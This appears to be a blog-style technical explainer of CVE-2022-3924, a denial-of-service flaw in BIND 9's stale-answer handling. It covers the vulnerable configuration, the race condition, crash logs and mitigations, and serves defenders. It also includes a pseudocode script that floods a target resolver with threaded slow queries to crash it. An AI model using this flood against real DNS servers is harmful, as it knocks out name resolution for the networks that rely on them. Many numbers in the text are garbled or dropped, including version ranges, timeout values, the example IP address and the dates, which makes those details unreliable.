CVE-2022-3924 - How Misconfigured Stale Answers Crash BIND 9 DNS Servers — Explanation, Code, and Exploit Details

Published: June 2024

Exclusive technical deep-dive

BIND 9 is the world's most widely used DNS software. So, whenever a security flaw surfaces, anyone who manages name servers gets worried — and rightly so. In this article, we'll break down CVE-2022-3924, a complex but dangerous flaw that can crash BIND 9 resolvers under certain load conditions.

What Is CVE-2022-3924?

CVE-2022-3924 is a bug in BIND 9's "stale answer" feature. If your resolver is set to serve old (stale) answers when an upstream lookup is slow or failing (stale-answer-enable yes;), and is also set to allow clients to wait for a while (stale-answer-client-timeout greater than zero), then under high query loads, BIND can trip over itself and crash.

This is not a remote code execution bug. But it WILL take down your DNS server if exploited — a denial of service (DoS).

Official References

- ISC BIND Security Advisory (CVE-2022-3924)
- NVD entry for CVE-2022-3924
- Upstream BIND 9 changelogs

Who Is Affected?

If you are using BIND 9.16.12 through 9.16.36, 9.18. through 9.18.10, or 9.19. through 9.19.8 (_and their matching S1 subscription releases_), and you have:

stale-answer-enable yes;
stale-answer-client-timeout <value greater than >;


in your named.conf resolver configuration, you are vulnerable.

A DNS query comes in. BIND tries to recurse (look up upstream) but that may take time.

2. With stale-answer-enable yes;, BIND will return an old answer if possible, instead of just SERVFAILing.
3. With client timeouts, BIND can hold onto incoming clients for a while as it tries to fetch an answer (using the stale-answer-client-timeout parameter, set in seconds).
4. Under heavy load, the number of clients waiting on recursion goes up. BIND puts a cap on these with the recursive-clients and corresponding "soft quota" settings. If the queue is full when a new request comes, BIND has to pick an old one to drop (and tell it SERVFAIL).
5. Here's the bug: If careful timing happens (on a heavily loaded server, or if exploited deliberately — more on that below), BIND can try to give a stale answer to a long-waiting client at the same time it tries to drop it with SERVFAIL. This race can cause an "assertion failure" and crash the BIND process.

Let's walk through a simple "exploit"

Suppose an attacker can throw a large number of recursive DNS queries at your BIND resolver. Attackers might choose records that are deliberately slow to resolve, such as unreachable or nonresponsive authoritative servers.

With stale-answer-enable yes; and a stale-answer-client-timeout > , clients will pile up quickly, waiting on a response or for a stale answer to be served.

When the number of clients is maxed out (see the recursive-clients setting), BIND starts dropping old ones. But if the attacker continues spamming requests, and the queue is full, the bug can trigger — and BIND crashes with an assertion failure.

Here's what a vulnerable section looks like

options {
    stale-answer-enable yes;
    stale-answer-client-timeout 15;
    recursive-clients 100;
};

Note: Any stale-answer-client-timeout value greater than zero is vulnerable.

Simplified Exploit Pseudocode

In real life, the attack uses "slow-to-respond" queries and floods. Here’s a basic idea in Python-like pseudocode:

import threading
import dns.query

def slow_recursive_query(target_dns, name):
    try:
        # Try resolving a domain that times out upstream
        dns.query.udp(message_for_nonexistent_domain(name), target_dns, timeout=1)
    except:
        pass  # Ignore errors

target_dns = '192..2.1'  # Example vulnerable BIND resolver
domain = 'random-not-exist.test.'
num_threads = 200

for i in range(num_threads):
    threading.Thread(target=slow_recursive_query, args=(target_dns, domain)).start()

Expected Result:
After enough failing or slow queries, the resolver’s recursion queue maxes out. If timed (or lucked) just right, BIND will crash with an assertion failure.

The named process crashes: you will see a log like

  named: assertion failure in .../query.c:xxxx
  

Service stops responding to DNS queries until you restart it.

- No code exec; but attackers, DDoSers, or even a badly behaved client can cause denial of service.

Set stale-answer-enable no; (if you don't need stale answers), or

- Remove/disable stale-answer-client-timeout, or set it to .

Real-World Impact

- Large ISP, university, and business networks that enable stale answers for high availability are at risk — especially if exposed to the public internet.

Conclusion

This vulnerability is a classic example of how advanced DNS features can open new attack surfaces when pushed to their limits. As BIND's users reach for better resilience (stale answers), attackers get fresh ways to force assertion failures and crash resolvers.

Check your BIND config today and upgrade if you see these options. And remember:  
> A few extra lines in a config file can make all the difference between uptime and silent DNS blackouts.

Further reading

- ISC’s Official CVE-2022-3924 Advisory
- How Recursive Clients Work in BIND 9
- LinkedIn Community Thread: BIND 9.18.x Bugs (community driven)


Stay safe, patch early!  
If you have questions about DNS security or exploits like this, [contact me here](#) for more DNS hardening advice.

Timeline

Published on: 01/26/2023 21:16:00 UTC
Last modified on: 02/06/2023 16:28:00 UTC